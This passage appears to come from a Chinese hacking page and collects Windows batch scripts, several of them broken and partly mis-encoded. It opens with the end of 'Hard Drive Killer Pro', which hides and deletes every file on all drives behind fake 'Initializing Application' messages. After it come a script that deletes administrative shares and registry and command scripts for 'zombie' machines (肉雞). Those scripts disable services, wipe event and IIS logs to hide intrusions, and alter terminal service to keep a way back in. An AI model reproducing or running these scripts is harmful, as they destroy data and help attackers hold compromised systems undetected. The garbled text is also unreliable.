【正文】
. for %%a in (%drive%) call attrib r h %%a:\ /S nul call attrib +r +h c:\ nul call attrib +r +h c:\ nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . for %%a in (%drive%) call deltree /y %%a:\*. nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . echo Starting Application . . . for %%a in (%drive%) do call c:\ %%a Munga nul cls echo Thank you for using a Munga Bunga product. echo. echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. echo. echo Here is a joke for you . . . echo. echo Q). Whats the worst thing about being an egg? echo A). You only get laid once. echo. echo HAHAHAHA, get it? Dont you just love that one? echo. echo Regards, echo. echo Munga Bunga :end rem Hard Drive Killer Pro Version , enjoy!!!! rem Author: Munga Bunga from Australia, the land full of retarded Australians (help me get out of here).。 cut here then save as .bat or .cmd file @echo preparing to delete all the default ready pres any key. @pause @echo off :Rem check parameters if null show usage. if {%1}=={} goto :Usage :Rem code start. echo. echo echo. echo Now deleting all the default shares. echo. net share %1$ /delete net share %2$ /delete net share %3$ /delete net share %4$ /delete net share %5$ /delete net share %6$ /delete net share %7$ /delete net share %8$ /delete net share %9$ /delete net stop Server net start Server echo. echo All the shares have been deleteed echo. echo echo. echo Now modify the registry to change the system default properties. echo. echo Now creating the registry file echo Windows Registry Editor Version c:\ echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] c:\ echo AutoShareWks=dword:00000000 c:\ echo AutoShareServer=dword:00000000 c:\ echo Nowing using the registry file to chang the system default properties. regedit /s c:\ echo Deleting the temprotarily files. del c:\ goto :END :Usage echo. echo echo. echo ☆ A example for batch file ☆ echo ☆ [Use batch file to change the sysytem share properties.] ☆ echo. echo Author:Ex4rch echo Mail:Ex4rch@ :1672602 echo. echo Error:Not enough parameters echo. echo ☆ Please enter the share disk you wanna delete ☆ echo. echo For instance,to delete the default shares: echo delshare c d e ipc admin print echo. echo If the disklable is not as C: D: E: ,Please chang it youself. echo. echo example: echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the mand into : echo delshare c d e x y z ipc admin print echo. echo *** you can delete nine shares once in a useing *** echo. echo goto :EOF :END echo. echo echo. echo OK, has deleted all the share you assigned. questions ,feel free to mail to Ex4rch@. echo echo. echo echo. :EOF echo end of the batch file cut here then save as .bat or .cmd file (給肉雞打補?。┑呐幚砦募? cut here then save as .bat or .cmd file @echo Windows Registry Editor Version @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] @echo AutoShareServer=dword:00000000 @echo AutoShareWks=dword:00000000 @REM [禁止共享] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] @echo restrictanonymous=dword:00000001 @REM [禁止匿名登錄] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] @echo SMBDeviceEnabled=dword:00000000 @REM [禁止及文件訪問和打印共享] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] @echo Start=dword:00000004 @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] @echo Start=dword:00000004 @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] @echo ShutdownWithoutLogon=0 @REM [禁止登錄前關(guān)機] @echo DontDisplayLastUserName=1 @REM [禁止顯示前一個登錄用戶名稱] @regedit /s cut here then save as .bat or .cmd file 下面命令是清除肉雞所有日志,禁止一些危險的服務(wù),并修改肉雞的terminnal service留跳后路。 @regedit /s @net stop w3svc @net stop event log @del c:\winnt\system32\logfiles\w3svc1\*.* /f /q @del c:\winnt\system32\logfiles\w3svc2\*.* /f /q @del c:\winnt\system32\config\*.event /f /q @del c:\winnt\system32dtclog\*.* /f /q @del c:\winnt\*.txt /f /q @del c:\winnt\*.log /f /q @net start w3svc @net start event log @rem [刪除日志] @net stop lanmanserver /y @net stop Schedule /y @net stop RemoteRegistry /y @del @echo The server has been patched,Have fun. @del @REM [禁止一些危險